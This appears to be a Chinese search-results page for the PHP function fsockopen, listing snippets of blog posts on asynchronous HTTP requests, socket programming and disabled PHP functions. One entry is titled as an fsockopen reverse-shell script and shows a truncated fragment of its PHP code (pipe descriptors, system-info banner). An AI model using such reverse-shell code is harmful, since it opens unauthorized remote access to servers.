码迷,mamicode.com
首页 >  
搜索关键字:fsockopen    ( 94个结果
Nginx 499的问题
PHP 异步 HTTP 与 NGINX 499 PHP 异步 HTTP 在 PHP 代码中提交异步 HTTP 请求比较常用的方式是通过 fsockopen/fwrite/fclose 来实现,请参考如下代码。 function post($host, $path, $port, $data) { $ ...
分类:其他好文   时间:2020-06-13 00:29:58    阅读次数:80
运行项目报错 报scandir() has been disabled for security reasons
从github下载三方扩展后直接拖拽至vendor目录运行项目报错 报scandir() has been disabled for security reasons 原因: 因为PHP里面的scandir函数被禁用了 打开php.ini disable_functions = scandir,pa ...
分类:其他好文   时间:2020-05-30 10:46:20    阅读次数:65
PHP实现异步处理
两个文件:(1)brief.php主程序文件(2)doRequest.php需要异步处理的程序 brief.php: $url = 'localhost:8867'; echo 123; // 先输出,中间部分为异步处理程序 $fp = fsockopen($url,-1, $errno, $err ...
分类:Web程序   时间:2019-11-26 19:05:47    阅读次数:91
fsockopen反弹shell脚本
array("pipe","r"),1 => array("pipe","w"),2 => array("pipe","w")); $cwd = getcwd(); $msg = php_uname()."\n------------Code by Spider-------------\n"; i... ...
分类:系统相关   时间:2019-07-16 12:24:40    阅读次数:131
PHP异步请求之fsockopen()方法详解
正常情况下,PHP执行的都是同步请求,代码自上而下依次执行,但有些场景如发送邮件、执行耗时任务等操作时就不适用于同步请求,只能使用异步处理请求。 场景要求: 客户端调用服务器a.php接口,需要执行一个长达10s-20s不等的耗资源操作,假如客户端响应请求时间为5秒(请求响应超时时间),5s以上无回 ...
分类:Web程序   时间:2019-01-03 12:59:54    阅读次数:307
PHP实现异步操作
比如发邮件: 方法一:fsockopen 防止客户端断开执行不完整需设置 ignore_user_abort(true); // 忽略客户端断开 set_time_limit(0); // 设置执行不超时 方法二:curl请求,CURLOPT_TIMEOUT =1(超时时间,主动断开连接程序继续向下 ...
分类:Web程序   时间:2018-09-30 16:52:52    阅读次数:151
Socket编程 之使用fsockopen()函数
fsockopen函数:初始化一个套接字连接到指定主机(hostname) get方式: client.php server.php post方式: post.php 问题1:返回内容我们用什么?echo 问题2:请求体包括哪3部分? 行 头 体 问题3:使用post方式请求时,使用什么符号来连接参 ...
分类:其他好文   时间:2018-08-22 14:59:09    阅读次数:156
php发送get、post请求的6种方法简明总结
方法1: 用file_get_contents 以get方式获取内容: 方法2: 用fopen打开url, 以get方式获取内容: 方法3:用file_get_contents函数,以post方式获取url 方法4:用fsockopen函数打开url,以get方式获取完整的数据,包括header和b ...
分类:Web程序   时间:2018-06-30 14:49:14    阅读次数:188
PHP异步请求
正常情况下,PHP都是同步请求,脚本右上而下依次执行,必须等上一步请求好了,才能进行下一步操作,这种效率在某些时候是不必要的,如发送邮件等操作,是可以异步处理的。 PHP异步也很不少插件,我们使用的是原生的PHP函数,fsockopen(),改函数http请求和socket都可以。 这个函数官网手册 ...
分类:Web程序   时间:2018-05-20 16:43:21    阅读次数:214
PHP实现异步处理
resource fsockopen ( string $hostname [, int $port = -1 [, int &$errno [, string &$errstr [, float $timeout = ini_get("default_socket_timeout") ]]]] ) ...
分类:Web程序   时间:2018-05-08 14:29:32    阅读次数:193
94条   1 2 3 4 ... 10 下一页
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!